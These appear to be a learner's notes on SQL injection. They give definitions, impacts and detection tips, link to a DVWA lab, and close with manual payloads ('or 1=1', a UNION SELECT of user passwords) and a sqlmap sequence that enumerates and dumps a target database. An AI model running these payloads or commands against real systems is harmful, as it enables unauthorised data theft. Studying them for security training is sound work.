SQL Injection(Sqli)
## What is SQL injection (SQLi)?
SQL injection (SQLi) is a web security vulnerability that allows an attacker to
interfere with the queries that an application makes to its database. This can
allow an attacker to view data that they are not normally able to retrieve. This
might include data that belongs to other users, or any other data that the
application can access. In many cases, an attacker can modify or delete this data,
causing persistent changes to the application's content or behavior.
## What is the impact of a successful SQL injection attack?
A successful SQL injection attack can result in unauthorized access to sensitive
data, such as:
Passwords.
Credit card details.
Personal user information.
-------------------------------------------
## How to detect SQL injection vulnerabilities.
1. The single quote character ' and look for errors or other anomalies.
2. Payloads designed to trigger time delays when executed within a SQL query, and
look for differences in the time taken to respond.
## Types of sql injection
in-bound ( error )
blind ( boolean based )
## countermeasures
input validation
input senitization
-----------------------------------------------------------------------------------
----------------
## manual
https://www.golinuxcloud.com/dvwa-sql-injection/#Step_2_Basic_Injection
boolean:
' or '1'='1'#
union:
' union select user,password from users#
-----------------------------------------------------------------------------------
--
## using tools
## SQLI using sqlmap :
1. sqlmap --url https://target.com - For finding id parameter.
2. sqlmap --url https://target.com/cat.php?id=1 --dbs - For finding database name.
(--dbms)
3. sqlmap --url https://target.com/cat.php?id=1 -D database name --tables - For
finding vulnerable tables.
4. sqlmap --url https://target.com/cat.php?id=1 -D database name -T table name --
columns - For finding vulnerable columns.
5. sqlmap --url https://target.com/cat.php?id=1 -D database name -T table name -C
column name,column name --dump
All done now we will get all the data we have fetched.